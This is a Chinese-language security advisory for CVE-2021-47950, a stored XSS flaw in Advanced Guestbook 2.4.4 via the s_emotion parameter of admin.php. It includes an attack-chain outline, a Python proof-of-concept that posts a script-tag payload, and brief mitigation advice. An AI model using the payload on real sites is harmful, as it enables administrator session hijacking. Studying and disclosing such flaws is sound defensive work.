IPBUF安全漏洞报告
English
CVE-2021-47950 CVSS 6.4 中危

CVE-2021-47950 Advanced Guestbook 存储型XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47950
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Advanced Guestbook

相关标签

XSS存储型XSSAdvanced GuestbookWeb漏洞

漏洞概述

Advanced Guestbook 2.4.4版本在表情符号管理界面存在一个持久型跨站脚本漏洞。经过身份认证的攻击者可以通过操纵 `s_emotion` 参数来注入恶意脚本。攻击者可以向 `admin.php` 提交包含JavaScript代码的POST请求,当管理员查看表情符号选项卡时,这些代码将被执行,从而可能导致管理员会话被劫持或进一步的控制权获取。

技术细节

该漏洞的根源在于服务器端未对 `admin.php` 接收到的 `s_emotion` 参数进行充分的输入验证和输出编码。攻击者首先需要以低权限用户身份登录系统,随后构造特定的POST请求,在该参数中植入XSS Payload(如 `<script>alert(1)</script>`)。由于系统直接将此数据存储在数据库中,当具有更高权限的管理员访问“Smilies”管理标签页时,系统会从数据库读取并渲染该参数值,导致恶意脚本在管理员的浏览器上下文中执行。这种存储型XSS攻击具有持久性,无需每次都诱导管理员点击特定链接,只需访问受影响页面即可触发。一旦触发,攻击者可窃取Cookie或执行管理员权限下的操作。

攻击链分析

STEP 1
步骤1
攻击者获取低权限账户并登录系统
STEP 2
步骤2
攻击者向 admin.php 发送POST请求,在 s_emotion 参数中注入恶意JavaScript代码
STEP 3
步骤3
服务器将恶意代码存储在数据库中
STEP 4
步骤4
管理员访问后台管理界面的Smilies(表情符号)管理页面
STEP 5
步骤5
页面加载时读取并渲染恶意代码,导致管理员浏览器执行脚本

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2021-47950 import requests # Target URL target = "http://example.com/guestbook/admin.php" # Attacker's session cookie (required as PR:L) cookies = { "PHPSESSID": "attacker_session_id" } # Vulnerable parameter 's_emotion' containing XSS payload # The payload attempts to inject a script tag payload_data = { "action": "savesmile", "s_emotion": '"><script>alert("XSS");</script>', "s_code": ":xss:", "s_filename": "smile.gif" } try: # Send POST request to inject the payload response = requests.post(target, data=payload_data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully.") print("Check the admin smilies tab to trigger the XSS.") else: print(f"Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Advanced Guestbook 2.4.4

防御指南

临时缓解措施
限制对后台管理页面的访问权限,仅允许特定IP访问;在服务器端部署Web应用防火墙(WAF),拦截包含常见XSS特征(如<script>标签)的请求流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表